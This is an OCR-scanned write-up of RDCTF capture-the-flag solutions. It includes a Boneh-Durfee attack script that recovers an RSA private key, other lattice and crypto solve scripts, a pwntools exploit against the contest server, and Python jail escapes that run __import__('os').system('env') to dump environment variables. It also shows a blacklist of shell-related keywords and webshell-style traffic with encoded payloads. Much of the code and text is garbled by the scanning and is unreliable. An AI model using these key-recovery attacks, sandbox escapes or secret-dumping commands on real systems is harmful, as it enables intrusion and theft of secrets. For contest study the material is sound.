if debug:

diff = (log(det) - log(bound)) / log(2)

print ("size det(L) - size e*(mxn) = ", floor(diff))
if strict:

return -1, -1
else:
print ("det(L) < e*(m*n) (good! If a solution exists < NAdelta, 1t
will be found)")

if debug:
matrix_overview(BB, modulus”mm)
if debug:
print ("optimizing basis of the lattice via LLL, this can take a long
time")
BB = BB.LLL()
if debug:
print ("LLL is done!'")
if debug:

print ("looking for independent vectors in the lattice")
found_polynomials = False
for poll_idx in range(nn - 1):
for pol2_idx in range(poll_idx + 1, nn):
PR.<w,z> = PolynomialRing(ZZ)
poll = pol2 = 0
for jj in range(nn):
poll += monomials[jj](wxz+1l,w,z) * BB[poll_idx, jj] /
monomials[jj] (UU,XX,YY)
pol2 += monomials[jj](wxz+1l,w,z) *x BB[pol2_idx, jjl /
monomials[jj] (UU,XX,YY)
PR.<g> = PolynomialRing(ZZ)
rr = poll.resultant(pol2)
if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print ("found them, using vectors", poll_idx, "and", pol2_-idx)
found_polynomials = True
break
if found_polynomials:
break
if not found_polynomials:
print ("no independant vectors could be found. This should very
rarely happen...")
return 0, 0
rr = rr(d, Q)
soly = rr.roots()
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if len(soly) == 0:
print ("Your prediction (delta) is too small")
return 0, 0

soly = soly[0][0]

ss = poll(qg, soly)

solx = ss.roots()[0][0]

return solx, soly

def example(N,e,delta):

t int((1-2*delta) * m)

X 2xfloor (NAdelta)

Y = floor(NA(1/2))

P.<x,y> = PolynomialRing(ZZ)

A = dint((N+1)/2)

pol = 1 + x * (A +vy)

if debug:
print ("=== checking values ===")
print ("x delta:", delta)
print ("x delta < 0.292", delta < 0.292)
print ("x size of e:", int(log(e)/log(2)))
print ("x size of N:", int(log(N)/log(2)))
print ("x m:", m, ", t:", t)

if debug:

print ("=== running algorithm ===")

start_time = time.time()

solx, soly = boneh_durfee(pol, e, m, t, X, Y)
if solx > 0O:
print ("=== solution found ===")
if False:
print ("x:", solx)
print ("y:", soly)

d = int(pol(solx, soly) / e)
print ("private key found:", d)

else:
print ("=== no solution was found ===")
if debug:
print("=== %s seconds ===" % (time.time() - start_time))
return d
if __name__ == "__main__":
C:

760459091339700419896368940035880212033462531630111111257688651365510743049575
196894130151579786195500295120737547852145981126447094229876608837455067546690
373851641624475744209906310298803778221997369730456336251236815451330593063969
367998829107102071304653391966878834844146410129525815509162470243137192298749



815314476835279651214466151576103688650695108521761872209675236164426931085594
022273712363747341100900262929321450381214454398896190151432719900425195138306
487457349372146300155372660953770085380426415277959634754736562236312704221619
5888205262834357028553426852001895634392853557568345813531537434672292

183 n =
161451630059338104077522613906904581920000699343088000247932511119682975069781
176802366315191348674565755996950516678599124869473252649837190507570101832646
978798913378783527985597223077481917558846851680197507619923508669881441455083
507595308499910257718154754902035246557153154064554909570314376062786842386843
579616877505154812824588243427332217573287618039773479682391663001566971008241
059168743540450789562895314428421866683257817377783256660352401642108679729758
455146448655738949809666481271021157712826116721272767632616369221985878501256
76847952570005820048642886137010843289815486863693662806191261840920411

184 e =
941384006258653251601052384626344890617690333936616839462035138328520394778478
669195253478987526605110499125969453855219222648737582864113278120077505732030
929806348777197394585452952150004045756348914714364926842824492251991349915177
482663764664727798629774803944424269940652286185443261270046407002903156647488
480364413124808855258197890658408858217079919934199976861664063955574679908960
103555228598169055835754092482723968908327544058250439052226430267187440812558
380634318998099056585495132173299165994713488030963607768213066118143763550507
3400803788606635750774788853039972661648725169986554624217364019814143

185 delta = 0.28

186 d = example(n,e,delta)

187 print(long_to_bytes(int(pow(c,d,n))))

=== checking values ===

# delta: 0.280000000000000

% delta < 0.292 True

% size of e: 2046

% size of N: 2046

*m: 4, t:1

=== running algorithm =—

% removing unhelpful vectors 4 and 5

* removing unhelpful vector 3

% removing unhelpful vectors 1 and 2

* removing unhelpful vector 0

5 / 10 wectors are not helpful

We do not have det < bound. Solutions might not be found.
Try with highers m and t.

size det(L) — size e (m¥n) = 1238
00X000000000"

0LXX00000000 "~

02XXX0000000
03XXXX000000
040000X00000
050000XX0000
060000XXX000
07T0000XXXX00
0B80000XXXXXO0
09 X XXX0OXXXXX
optimizing basis of the lattice via LLL, this can take a long time

LLL is done!

looking for independent vectors in the lattice

found them, using vectors 0 and 1

=== solution found ===

private key found: 2873372627123285391417965171775745374675133061136382399922870682018171188972257743150566638645430634900490623442750072
842152753183004232565321312822054344464671

=== 0. 6832091808319092 seconds ===

b’ flag{effcabf2-1bb5-44f7-9403-1f907f66a83e}’
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from Crypto.Util.number import *
flag = b"flag{uuid}"
bytes_to_long("&ZA EIE! ".encode())

®

p = getPrime(1024)

g = getPrime(1024)

n = pxq

c = pow(bytes_to_long(flag),e,n)

print(f"n = {n}")
print(f"p = {p}")
print(f'q

noon
-~ -
D O
(S
NN

print(f"e
print(f"c = {c}")

n =
150539725877123267379849810952679607923397566220650735791111885254458685105903
306596042232707211840723314938392651594701703553921717993519830714970348105340
190987035868131784372200002992375642826859429738292561064709955778752244409001
066590502737469483046909796115550911169901789591025543573793840640231820806667
001067861508866428184822238976226658493501114284072150803848983063251127564694
337737251356747978956179709892570552107316497220158425130583625677168443655412
839780608108171572686382677445939193418266839049374731397168602553652587733157
35723264469047254466729380062497129772537539992820940452374819883889699

D =
111461468683434975170530082386729308107721083330906321058829121868326203430516
773024485160400892174495966198556599452146295591878375056413679531156926335281
885967735274037488966954241985730655093765767422341322517922766939016379989407
145412091848456414574239068924973099845847680344754993017711649519082586907

q =
135059880024258078020929974489544029792994133864551720912636124561116374784209
453412300842283879224283596533450952894183516931875969274005736947998604565020
290825188410459845975970263881482961767263235648934211129811591747510154846615
233845871887644159755687581177174650685690858554979076239705934188310748057
20082298101283703288320865436585567770885249

e
c =

143278048626646233640639592584271789079353849577104416547623684249001202803313
459336283602409426223785282493998602740423881664446522647477726261823236318533
841042486373069693571436888807367077756561626779202448225554187810645466158329
847610085166628190589027297435539938103847928842878935565730157622312612951163
132614957824631773862763429920714594959087055486545249268187369633029562625593
668477656171071712136935901103963409987997386684938639939082565263098541454086



21

167904482116059023402929537990519382208648668782384986704164095074714851814736
43985920194302180643875443988264359015252402590566318567500376646205537

—RmiEe, phifEERT, BREAAKREIE, FHBAEEH T ~BHA

A W N B

9
10
11
12
13
14
15

from Crypto.Util.number -import *

from sympy.ntheory.modular import crt

from libnum +import n2s

n =
150539725877123267379849810952679607923397566220650735791111885254458685105903
306596042232707211840723314938392651594701703553921717993519830714970348105340
190987035868131784372200002992375642826859429738292561064709955778752244409001
066590502737469483046909796115550911169901789591025543573793840640231820806667
001067861508866428184822238976226658493501114284072150803848983063251127564694
337737251356747978956179709892570552107316497220158425130583625677168443655412
839780608108171572686382677445939193418266839049374731397168602553652587733157
3572326446904 7254466729380062497129772537539992820940452374819883889699

p =
111461468683434975170530082386729308107721083330906321058829121868326203430516
773024485160400892174495966198556599452146295591878375056413679531156926335281
885967735274037488966954241985730655093765767422341322517922766939016379989407
145412091848456414574239068924973099845847680344754993017711649519082586907

q =
135059880024258078020929974489544029792994133864551720912636124561116374784209
453412300842283879224283596533450952894183516931875969274005736947998604565020
290825188410459845975970263881482961767263235648934211129811591747510154846615
233845871887644159755687581177174650685690858554979076239705934188310748057
20082298101283703288320865436585567770885249

e
c =
143278048626646233640639592584271789079353849577104416547623684249001202803313
459336283602409426223785282493998602740423881664446522647477726261823236318533
841042486373069693571436888807367077756561626779202448225554187810645466158329
847610085166628190589027297435539938103847928842878935565730157622312612951163
132614957824631773862763429920714594959087055486545249268187369633029562625593
668477656171071712136935901103963409987997386684938639939082565263098541454086
167904482116059023402929537990519382208648668782384986704164095074714851814736
43985920194302180643875443988264359015252402590566318567500376646205537

phi = (p-1)*(q-1)
GCD (e, phi)

inverse(e//gcd,phi)

gcd
d

R.<x> = PolynomialRing(Zmod(p))
f = x?ged - ¢
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resl = f
R.<x> =
f = xgc

res2 = f

for i 1in

for

#flag{1d

from Cry
from has

def MD5(

hintl =
hint2 =

.roots(multiplicities=False)

PolynomialRing(Zmod(q))
@ = e

.roots(multiplicities=False)

resl:
j in res2:
m = crt([p,ql, [int(i),int(j)]1)
if m is not None:
try:
print(n2s(int(pow(m[0],d,n))).decode())
except Exception as e:
continue
1f9bb2-e613-437a-849c-ecOdb8ae7e42}

pto.Util.number import *
hlib import md5

m) :return md5(m) .hexdigest()

bll
bll

f'l_ag = f"flag{{{MDS(h'intl + h-intz)}}}"

print(fl

S5
1}

byte
byte

Q
1

class LC
def

def

# part 1

ag)

s_to_long(hintl)
s_to_long(hint2)

G():

__init__(self, seed):
self.state = seed
next(self):

b = getRandomNBitInteger (32)
state = (axself.state + b)%n
self.state = state

return self.state



25
26
27
28
29

p = getPrime(512)
print(f"p = {p}")
print(f"c = {inverse(n,p)*12345%p}")

p:

125065951640134548661586316445581153051412378535511596877855068035516801772797
65522514883247011673821044500450971811108588856569313384915952182118402644451
c =
685838285087134733840148523552298266317899760218603299341196535424380677800293
4994521471797373267461374750351180326314850354343417874268012116097315994977

Exp

31
32
33
34
35
36
37

38

A W N B

O 0o N O

10
11

# part 2

lcg = LCG(getRandomNBitInteger(128))
print([lcg.next() for _ in range(10)])
nin
[101394348304330664518612658966551284236,
12600749180053960167869224211924945881,
28111105835225564070023014409051018371,
35958569639368220256458103691515031526,
50706170894482995749385988503884957239,
90820015570145317779253781211515263478,
79622870965381801953499920525513019627,
24936182124493309888971127692766207826,
53512413277230147074476081664641503619,
91957135933128894950250248931906270651 ]

import libnum
from hashlib dimport md5
def MD5(m):return md5(m).hexdigest()

p:

125065951640134548661586316445581153051412378535511596877855068035516801772797
65522514883247011673821044500450971811108588856569313384915952182118402644451

h =

685838285087134733840148523552298266317899760218603299341196535424380677800293
4994521471797373267461374750351180326314850354343417874268012116097315994977

b = 27256

print(b)

Ge = Matrix(ZzZ,[[1,bxh],
[0,bxp]])

print(Ge.LLL())



12 f,g = Ge.LLL()[0O]
13 f,g = abs(f),abs(g)

14

15 print(libnum.n2s(int(f)))

16

17 n = 1int(f)

18 x = [101394348304330664518612658966551284236,
12600749180053960167869224211924945881,
28111105835225564070023014409051018371,
35958569639368220256458103691515031526,
50706170894482995749385988503884957239,
90820015570145317779253781211515263478,
79622870965381801953499920525513019627,
24936182124493309888971127692766207826,
53512413277230147074476081664641503619,
91957135933128894950250248931906270651]

19

20  Ge = Matrix(QQ,11,11)

21

22 for i in range(9):

23 Ge[i,i] = n

24 Ge[-2,1i] = x[i]

25 Ge[-1,i] = x[i+1]

26

27  Ge[-1,-1] = 2340

28  Ge[-2,-2] = 1

29

30 for i in Ge.LLL():

31 if abs(i[-1]) == 2/340:

32 a = abs(i[-2])

33 print(libnum.n2s(int(a)))

34 flag = f"flag{{{MD5(libnum.n2s(int(f)) + libnum.n2s(int(a)))}}}"

35 print(flag)

36 break

37  #flag{896787a060cf738d896d9d7ala270200}

Reverse

Happyiiz



@ IDA - HappyRe.exe C:\Users\jyzho\Desktop\HappyRe.exe

File Edit Jump Search View Debugger Options Windows Help

2@ 9~ @@Q @ VB~ @O ERAX 0% P 00OLocal Findows debugger v
1

Library function [l Regular function Ml Instruction

N

Data [l Unexplored

il B3
|

External symbol [l Lumina function

@ Functions 08 x| @ IDA View-A x] = Pseudocode-A ] @ [x] ) Local Types 8 ] Imports ] = Exports [x]
Function name ~ .rdata:0000000140002240 ; const struct _EXCEPTION_POINTERS ExceptionInfo
> .rdata:0000000140002240 ExceptionInfo  _EXCEPTION_POINTERS <offset dword_140004080, offset ContextRecord>
::g—}:gggig?g .rdata:0000000140002240 ; DATA XREF: __report_gsfailure+Clto
main .rdata:0000000146002256 xmmword_140002250 xmmword @FFFFFFFFFFFFFFFFFFFFFFFF FFFFFh
__security_check_cookie .rdata:0000000140002250 ; DATA XREF: __scrt_initialize_onexit_tables:loc_1400015FF1r
pre_c_initialization(void) .rdata:0000000140002260 ; const char Format[]
post_pgo_initialization(void) .rdata:0000000140002260 Format b 'Decrypted Output: %s',@Ah,e
pre_cpp_initialization(void) .rdata:0000000140002260 ; DATA XREF: main+76to
;:;:‘—“m‘“"“—m‘"—seh‘md) .rdata:0000000140002276 align 20h )
— i oo .rdata:0000000140002280 aSgvsbdbfvghpcl db 'SGVsbDBfVGhpc18xc19idXREM3ImMX1fQ29uz3IhdHVsYXRpb25ZX1kwdVonM3Rfz"
reror(Vastailuce .rdata:00000001400022C1 db 'mwezyE=',e
capture_previous_context .rdata:00000001400022C9 align 1eh
__scrt_acquire_startup_lock .rdata:00000001400022D0 ; const char Str[]
__scrt_initialize crt .rdata:00000001400022D0 Str db 'ABCDEFGHIJKLMNOPQRSTUVWXYzabcdefghijklmnopgrstuvixyZ@123456789+/="
—scrt_initialize onexit_tables .rdata:00000001400022D0 ; DATA XREF: main+2DTo
e .rdata:0000000140002311 db @
“eort_uninitialize_ort .rdata:0000000140002312 . align 20h
onexit .rdata:0000000140002320 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
atexit .rdata:0000000140002361 db o
__security_init_cookie .rdata:0000000140002362 align 1eh
UserMathErrorFunction .rdata:0000000140002370 _load_config_used dd 14eh ; Size
Ch"""d“:faw—?i"g‘hé"‘“d) .rdata:0000000140002374 dd e 5 Time stamp |
jg‘;jggﬁ‘ggaﬁ enode .rdata:0000000140002378 dw 2 dup(@) ; Version: @.@
sub_140001850 .rdata:000000014000237C dd @ ; GlobalFlagsClear
_guard_check_icall_nop .rdata:0000000140002380 dd o ; GlobalFlagsSet
sub_140001858 .rdata:0000000140002384 dd @ 3 CriticalSectionDefaultTimeout
__sert_initialize_default_local_stdio_op .rdata:0000000140002388 dq © ; DeCommitFreeBlockThreshold
—sert_is_user_matherr_present .rdata:0000000140002390 dq @ ; DeCommitTotalFreeThreshold
z:g{:gggiggg .rdata:0000000140002398 dq @  LockPrefixTable
<ub_ 140001898 .rdata:00000001400023A0 dq © 3 MaximumAllocationSize
sert_fastfail .rdata:00000001400023A8 dq © 5 VirtualMemoryThreshold
_UserMathErrorFunction .rdata:0000000140002380 dq @ ; ProcessAffinityMask
__scrt_is_managed_app .rdata:00000001400023B8 dd @ ; ProcessHeapFlags
_scrt_set_unhandled_exception_filter .rdata:00000001400023BC dw © ; CSDVersion
—sert_unhandled_exception_filter .rdata:00000001400023BE dw © ; Reservedl
::g—}:gggi:@ _rdata:00000001400023C8 dq . 5 Editlist )
ub_140001B28 .rdata:00000001400023C8 dq offset __security_cookie ; SecurityCookie
_ sert_is_ucrt_dll_in use .rdata:00000001400023D0 dq @ 3 SEHandlerTable
__C_specific_handler .rdata:00000001400023D8 dq © ; SEHandlerCount
__current_exception v .rdata:00000001400023E0 dq offset __guard_check_icall_fptr ; GuardCFCheckFunctionPointer
<IN : > .rdata:00000001400023E8 dq offset __guard_dispatch_icall_fptr ; GuardCFDispatchFunctionPointer
Line 16 of 74, /_scrt_is_nonwritable_in_current_im 00001774 0000000140002374: .rdata:0000000140002374 (Synchronized with Hex View-1)
[ Output =]

[autohidden] The decompiler assumes that the segment '.rdata' is read-only because of its NAME.
All data references to the segment will be replaced by constant values.
This may lead to drastic changes in the decompiler output.

If the segment is not read-only, please change the segment NAME.

In general, the decompiler checks the segment permissions, class, and name
to determine if it is read-only.

-> OK
1DC
AU: idle Down Disk: 214GB
start: 72
: length: 72 =
Recipe S Input B T G + O3 8
ength:

From Base64

Alphabet

(¥zabcdefghijklmnopqrstuvwxyze123456789+/=

W K
Z#pythoni¥m T

Remove non-alphabet chars

SGVsbDBFVGhpc18xc19idXROM3ImMX1fQ29uz3IhdHVsYXRpb25ZX1kwdVOnM3RfzmwozyE=

Output

start: 54 time: 2ms
end: 54 length: 53 [ |_|:|
length: ©  lines: 1

Helle_This_1s_butt3rfly_Congratulations_Yeu_g3t_fl4g!

ra
La




C:\Users\jyzho\Desktop\htdck3r_t0015\pyinstxtractor-master>python pyinstxtractor.py pypackage.exe
[+] Processing pypackage.exe

[+] Pyinstaller version: 2.1+

[+] Python version: 3.8

[+] Length of package: 5u463584 bytes

[+] Found 58 files in CArchive

[+] Beginning extraction...please standby

[+] Possible entry point: pyiboot®l_bootstrap.pyc

[+] Possible entry point: pypackage.pyc

[+] Found 74 files in PYZ archive

[+] Successfully extracted pyinstaller archive: pypackage.exe

You can now use a python decompiler on the pyc files within the extracted directory

C:\Users\ jyzho\Desktop\htck3r_t0015\pyinstxtractor-master\pypackage.exe_extracted>uncompyle6 pypackage.pyc
# uncompyle6é version 3.9.0

# Python bytecode version base 3.8.0 (3413)

# Decompiled from: Python 3.8.5 (tags/v3.8.5:580fbb@, Jul 20 2020, 15:57:54) [MSC v.1924 64 bit (AMD64)]

# Embedded file name: RDCTF\pypackage.py

print('Welcome to RDCTF!')

print('Please input your flag:')

enc = 'UGFWI{L_dp_wk3_Plon_Gudj@q_Hpshubu!}"'

user_input = input('> ')

shift = 3

def caesar_decrypt(ciphertext, shift):
decrypted_flag = ''
for char in ciphertext:
if char.isalpha():
base = ord('A') if char.isupper() else ord('a')
decrypted_char = chr((ord(char) - base - shift) % 26 + base)
decrypted_flag += decrypted_char
else:
decrypted_flag += char
else:
return decrypted_flag

correct_flag = caesar_decrypt(enc, shift)
if user_input == correct_flag:
print('Correct!"')
else:
print('Incorrect flag. Try again!')
# okay decompiling pypackage.pyc

SRz fRE
1 def caesar_decrypt(ciphertext, shift):
2 decrypted_flag = "'
3 for char in ciphertext:
4 if char.isalpha():
5 base = ('A") if char.isupper() else ('a")
6 decrypted_char = (( (char) - base - shift) % 26 + base)
7 decrypted_flag += decrypted_char
8 else:
9 decrypted_flag += char

10 return decrypted_flag

11 enc = '"UGFWI{L_4p_wk3_Plon_Gudj0q_Hpshuou!}'
12 shift=3

13 (caesar_decrypt(enc, shift))

'_l
N



Pwn

FTIEPwn 2 B8
1[int _ fastcall main(int argc, const char **argv, const char **envp)
2
3| _BYTE v4[11]; // [rsp+1Dh] [rbp-13h]
4| int buf; // [rsp+28h] [rbp-8h] BYREF
5| int i; // [rsp+2Ch] [rbp-4h]
6
7| puts(s);
8| puts(asc_20208);

9| puts(asc_2068);

16| puts(alinux);

11| puts(aPwntoolsYthon);

12| printf(format);

13| puts(aProcessRemotel);

14| puts(aSendSendline);

15| puts(asc_2243);

16| puts(asc_2260);

17| buf = @;

18| *(_QWORD *)v4 = 67385985LL;
19| *(_DWORD *)&v4[7] = ©;

20| read(e@, &buf, 4uLL);

21| for (1 =@; 1 <= 3; ++1 )

23 if ( *((_BYTE *)&buf + 1) != v4[i] )
24 {

25 printf(asc_2290);

26 exit(-1);

27 }

28| }

29| system("cat flag");

38| return ©;

311}
Exp
1 from pwn dimport *
2 1o = remote('ctf.wdsec.com.cn',34018)
3 do.sendline(b'\x01\x02\x03\x04")
4 Hdo.interactive()



/home/starr
python3 test.
Opening conn
Switching to

tf.wdsec.com.cn on port 34018: Done

lag{abh@daal—caec— Fal-8: ] Got EOF while reading in interactive

Interrupted
Closed connection to ctf.wdsec.com.cn port 34018

Misc

Eye's_Secret
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Make your secrets invisible in just 3 easy steps !

HIDE UNHIDE

Step 1: Select a carrier file ./ | Step1: Specify a carrier file 1/ |

| No carrier file selected | 70.png Size: 88015 bytes
Step 2: Add/remove file or message Step 2: Enter password
BM‘ S" sesssReee
T Name Size (k
e ® (double click to save)
Size (k)
0
< >
Step 3: Password
Enter password again < ’
'K
é Hide
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Base/Rot FRIEE1 FHEE2 FHEE3 RIEEE TkeyBE FkeyBE Hils HEIRE ¢ BR THaEH
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— B |HEER (I: TEREEDILSZS—_@#N) A
basefd #13: 0000y OO0 bOvooOr7, Oyv: O0W{N1huss

base32§

basel 6EFR:

base8f (a) BB

base8b (b) #38:

base58% 1

base36#7R9:

based 1§ :

base92% 1 flag {Wowl1!' _u_fin9_Th3_NalLOn9 s_Seer3t??!!!1}

basef2# i

base62 (ASCII) B H:

Baself-32-A4-GLRSZEHD:
1 BER Fus<TR A$IDK THOCShad#_i: RF-mGYB<kkosEd<y6j=pTXe8Ts6PKTLY
MRBEE—PHRBERIZLD, #AHE IHEERZERER-

il SR
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wa - WRELRH S nCha) del T RA2ERM: 5 1% e Tals TN+l Ta - 108 RadNal 1ERE’ v
FAHMKZH, REHFEMIEEAT L BE. ok iR ko

Jail_Level 2!!

=P
1 black =

['black','system','sh','import', 'builtins','class','base','env',  'help', 'break’
,'exec','dict','del', "'modules’,'sys','ord',"input','get','os']
def filtered(s):

return any(c in s for c in black)

au A W N

def main():



6 (r-lll

L/ I N (R A (i e I [ VA U S l___\
[0 O Y I I I P o I V2 U B )

O | <Pl 11 -1 Iz S A N ) DS Ay

10 ] N\ / N 1) ] . \_// N\ [ P |

11 D

12

13 ("Welcome To Level - 2 !!I"M)

14 input_data = (@ WY

15 if filtered(input_data):

16 ('Try to Escape my Blacklist!!!"')

17 exit(0)

18

19 ("Answer: {}'. ( (input_data)))

20

21 if __name__ == "__main__":

22 main()

unicode+breakpointFt1T T, flagEenvE

C:\Users\jyzho>nc ctf.wdsec.com.cn 34271

|1 | | |
RS I P ) I P B
SN ]

Welcome To Level - 2 11!

> breakpoint()

> <string>(1)<module>()

(Pdb) __import__('os').system('env')
HOSTNAME=0e7bea@145ct
SOCAT_PEERADDR=121.235.242.146
HOME=/root

SOCAT_PEERPORT=38192
SOCAT_SOCKADDR=172.17.0.10
LC_CTYPE=C.UTF-8
SOCAT_VERSION=1.7.4.4
SOCAT_SOCKPORT=9999

0S_ARCH=amd64
BITNAMI_APP_NAME=python
OS_NAME=1linux

COLUMNS=80
PATH=/opt/bitnami/python/bin:/usr/local/sbin:/usr/local/bin: /usr/sbin:/usr/bin:/sbin:/bin
GZCTF_FLAG=flag{eaf817b5-c696-415d-913c-2b2L08LU8T7a97}
SOCAT_PID=u1

PUWD=/app

SOCAT_PPID=1

LINES=24

0OS_FLAVOUR=debian-12
GZCTF_TEAM_ID=19

APP_VERSION=3.13.1

0




Jail_Level 3~~~

BEIFFET, BEEARREHasciFHBIunicodei@ ()

| | - | |

| | |1 | - | | 1] |
Y I S I I PR I S I T U R N I I
1 NN/ | ] [_11_] \N___/_/ N \___l_____ |
Welcome to RDCTF # jail!

Level 3 ! Think_Different

> eval Cinput ("'))

__import__('os').system('env')

HOSTNAME=0fb578cd02c3

SOCAT_PEERADDR=121.235.242.146

HOME=/root

SOCAT_PEERPORT=U1604

SOCAT_SOCKADDR=172.17.0.7

LC_CTYPE=C.UTF-8

SOCAT_VERSION=1.7.4.4

SOCAT_SOCKPORT=9999

0S_ARCH=amdé6d

BITNAMI_APP_NAME=python

0S_NAME=1linux
PATH=/opt/bitnami/python/bin: /usr/local/sbin: /usr/local/bin: /usr/sbin: /usr/bin:/sbin:/bin
GZCTF_FLAG=flag{lc6a8e95-9bcd-U368-al55-965fdcOdd6éLa}

SOCAT_PID=25

PWD=/app

SOCAT_PPID=1

0S_FLAVOUR=debian-12

GZCTF_TEAM_ID=19

APP_VERSION=3.13.1

Answer: ©




_| admins(14).php - iT=A — O X
R HREE(E) 180) BEN) BEH)
i08ec6156dd967=hRL3Zhci93d3cvaHRtbC8yMy56aXA%3D&Ibb871050ace06=504B0304140009000000C59292596D9941BA380000002C0000000B0000! ~
6B55C2EDAB3C2264AA75E00EF1FFID86BBES0C34810EAO05E15B062B1BAD401E2E9897030FCOFFF47644E9BCD83B5705305636845E0D820C495C1EDC
576AE03CFFC379F4CC824AA3E4B75734B25E6AA8F8CCO5FIBCENS82781957EO0E6021DE4AF8966CEB7ESAADB1C77488E30A7DD41771CC01A741E2968D
E6BF8F116D07D3996544C49A2A04F58206550D720A4B219508AFBFFDD1FDE75875A54C2FF7F9115239C82D5C4E3F6C89EBE47F616857E8D9E1876AAE
24DC974FEQEB4BEBAB73EATD4B7101D4C5C5FBB669593A8CF43BB7ED447DBAFO005E6E403D7922AA2381347B44DBACT70B97AF2CEF9FC5ADCAAFD5(
80ATBA89828EDFFB75206CB1E7B4FD2B60BF42741F180286711B97B9A19133955175B46BF68B122B91AB21AC7E35A2019A53B83C2D6ASC5F534FD43¢
F927F610A0E38182752812B3A8F10C6166BA8E328F26D950A2AF0CT12EC789AFFAE036455EE586B28BD87B0947E34C97F91DBA862B6ADAF8771ADCF7(
07FB040D581D15B896776D7EF28210061ABE60TA0T9F3214FACEFA24777451C93A2DDDB28F1008D2354ACAB0B633D0E4EDAFEC34F2D9DBC692D32B
6D5D2B8134C8251D880EE33D9F620E1D7CBDAF3F8E311B9845808DBF82F2A6AAD4F53755D6A206D34BD7A788470761D4D1C78E785FD2BC7CF44C67
2EOBAFBE32F8B56485A02BFB951BD0OC29A250476F26 AED7001ECE9AABDABAADD127F867087D49430E5FB8B928A204D0DBDB46F4C40BB3E35C9A8C5
TA332AF00AB249C8210B54620AC9B9577126B41270442DAA137D2D6747488CEE62BF8F4EF1425BE704E2CDADGC70956512B6D5B4CE1863BF7C28D3B
87659E759E2CAET1AA96A6ASEB7EFB6FFACBF13F4EE60A42FACBAGDOD2F52DA5284D269B4AE86D08CT70122ED3198A76AB5C55E655C52ABE755473BD"
566451AC28FOFA32B525E7296338D00022B68F268783262F471DC4436AAB92CIFAAEB21BB20A89C98426A9D5DBCA13327158CC107596EB121463152.
5A805E8305279853AAF640B657E9BACTDBEEBF7021613FEE990622F8ED654E36785A63CDB2A12D7AD2ADA93B2AD0OBF70E9C4D8673348C8D7B7DBDZ
A29F54A4A661B7B3C5F47744ECCBEOF94B4C6AB12A515BF47B1915A1EDC4F03E2B20FCCAO1DA98CBD8746C6D1113EE48E6DACI8A48B4B609559FEC
S5DBD2COFDD92164705E5D4F6154B5C1CBD1714DB61F1A535D1DDD7523B32FA9A209B87BB27B6780076F0AD389BB2606370C42000D2B3CEBEF530A0!L
C951EC7A5C50D1892AA926AED68389065E7325F2A66B96D334B5F76754985DE22230E5CFF68DCOA679A7C28543F751C13CE119E4260ABA43B76AB2E
DFD48D99995E887C44F62EEA2867BES59B43F4985BA30BAAB0O0SED25A8F9832C036EDB14DD185F02F45E69D2E3CEBCOAT5322C3E92B26A0B6511DD1
8408E3D546FDE607A77014C74195CD1EC257DF93D47DAFC79B9695C744DCDEGAOCB641DA34E5B72659B45106E927ACCEAC7B80116E51B80B522A78
55CAQ9FC3CCO9FC1CCB6GEAD4EFEGECFCCDCBCFAS8566A64996FD7FAD2542951B5687781B90658DD76636337A4DB6D47ABD3DB896B560488F1EDD9
OE2EA2BFBB9B5733039508DAE733520251E8718FOBO0D2CB1F98304B698793BB18191B428D85CBBOF526C53D4A164093C222FB1ADS128D4D75F852C:
6F737E1F918D1A7C2BEEAGF1C1D70F7032DCCIF73A9112DEDA477A7819D1514CA449078ABAB7F943FCI9C9170539ED53C218A4FDAGCB64ECAA2AQCE
2CESCBD3AF3244B29720357930FE35A0ETFF84DEATC8CAO89A53DDEBBGIEE4ASFB72C2A83AB78FF3ECT16CB2455CD3CC0O81AA0TB1062223B568F90184
BE3CE9DA7790083337EE63EE89734A8BDACACTD33FA297CA7983B7E41993E247C7E1864677FAFCCBA328114A26F517706306F419772C127BD3743E9B
0572FEC914F2B39E196C3D38616E888BB83F026483A5A78DET1E82A28CB939371E68AA7D75DDES2848DFFOEA456583BF6568F0EAB744342CA57AB4984
3647DD156B5A30EDDEBEA8A32ASF2EE393A3CB56830FED0875AB55C3420350C3C9600DETF5A736212FC64D949A4585CBFCBBOFE94BIDFI8574FD1ET
C831F908911AE270A2AEE9CIF82809D72D8882EDE368FE44188940D0F10905F16C9571E7208AD12086E76A7627223D60096104BCICC72AF3C7FI84ETI
3456A44EC492E2DBBC2FOCFDB76EAOC2155C9E1C549138189A2315AD78C3A79E0CAT05B4DACEB885C57F16C081ABB36BA50C62B3D10EF13DB25AF98

RCNAOZIC7N7R2NICINTANEAN2IACIRIRATARICEICNAQT77AQNC71A7RRICANC7IEQAEITEIA2QCA2E1r NATA AGICQAQ~N1NAQ1Q2r7EIMI1CNANCA2QELNDADREC
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F117, £17 100%  Windows (CRLF) UTF-8

| admins(15).php - {04 - . 8
) RIB(E) #&(0) BE(V) #aH)
08ec6156dd967=jZL3Zhci93d3cvaHRtbC%2Fpo57IpbbpvpkucG5n&lbb871050ace06=89504E470D0ATAOA0000000D49484452000001 740000015B080€ ~
7FD1A8512857D9D9AE136C337A9E987B1CAB3ABEDAFCF25CBAG679B35EF6DB203BC9632D8DEAFO6C2892AE13CF352EDGEAFSFFEFFA0BOEE82F929E7 A
201E48853E2B6D26205A7B490B9B55AA44E5B296AE075159F50705A2A0D3169001F1E5C3480FEA4BA243EED489958B32B4C6C49B2261C45B101BBF35
01DB5059E922B717814FF9C8624DA7C5706001C32A039BFB6A27653A7D33363C6CDIC4BC2CF50A0380184BA9A9006BESACESS0BC12D581313534651]
BOOCC481BED91FDD739FCD7ED856CAD31E039109966A30CEBF9372DCD704DDA2CT1CF61DOBACFE6BA966EF2BB86A20ECD780DF395F4764FFF466AA6
B52C977F8453939C59E25432F04D02B3268ECC24F471E131C9E371B8CE15A432F1D46C37AC94520D9B50C36B02B6EAFDB4D1D316BDBB10EOFBCAICE
F1710CFBD5CC28D5085F08D4A769E2842067DAE03A4D5AFDAA6625F132869EF6241DBEFB495EE32CD04DAS3F14C938462A785DA7F9917D091F4474(
35F6532AB6AES5D309499B5EF4167E5757083F8629C56B34BA9D76321B234F9BC1FO1E9A3B560AD3DB823ED7130E8A7FDFD61DA3BD897161E0B29E3!
89773E54BD61D294E88DD8BF794ED7B4BAA13AFDES7829BCA0958018601E82A77065C16370497COBF81389ED25CAG9E02E3C6CDCAAECCC39E42CE2’
BC8D95754921143A4B02576D6C51D35C248A86CE5C565ATASDB31E40D7465A28FECB75049CBB985A64D3ED6FADG41B0804950ED4756915FE4BO2DLC
